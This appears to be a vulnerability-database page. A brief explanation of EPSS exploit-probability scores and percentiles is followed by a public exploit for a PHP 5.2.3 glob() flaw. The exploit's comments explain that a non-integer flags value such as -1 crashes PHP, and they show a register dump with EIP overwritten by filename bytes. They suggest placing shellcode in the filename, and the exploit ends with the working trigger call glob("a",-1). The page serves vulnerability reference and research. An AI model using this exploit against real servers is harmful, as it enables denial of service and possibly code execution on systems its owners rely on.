EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

//PHP 5.2.3 glob() Remote DoS Exploit
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org
//Tested on xp sp2, worked both from the cli (EIP overwrite) and on apache (Denial of Service)
//Bug discovered with "Footzo" (thanks to rgod).
//To download Footzo:
//original link: http://godr.altervista.org/index.php?mod=Download/useful_tools#footzo.rar
//alternative: http://www.shinnai.altervista.org/index.php?mod=Download/Utilities#footzo.rar
//as you know, glob function expects an integer value passed to "[int $flags] " parameter
//so when you give it something not integer (like -1) a funny thing happens:
//I never seen something like that, EIP is overwrite with 4 bytes of filename :D
//if you save aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb.php under C:\ and launch it
//registers content will appear as follow:
//EAX 00C0F8EC
//ECX 00C0E9FC ASCII "C:\\aaaa"
//EDX 00C0EC1C
//EBX 00C0EC64 UNICODE "C:\\aaaa"
//ESP 00C0E9F0
//EBP 00000000
//ESI 00C0F8EC
//EDI 00C0EC74
//EIP 62626262
//any idea? put shellcode in filename :D
glob("a",-1);
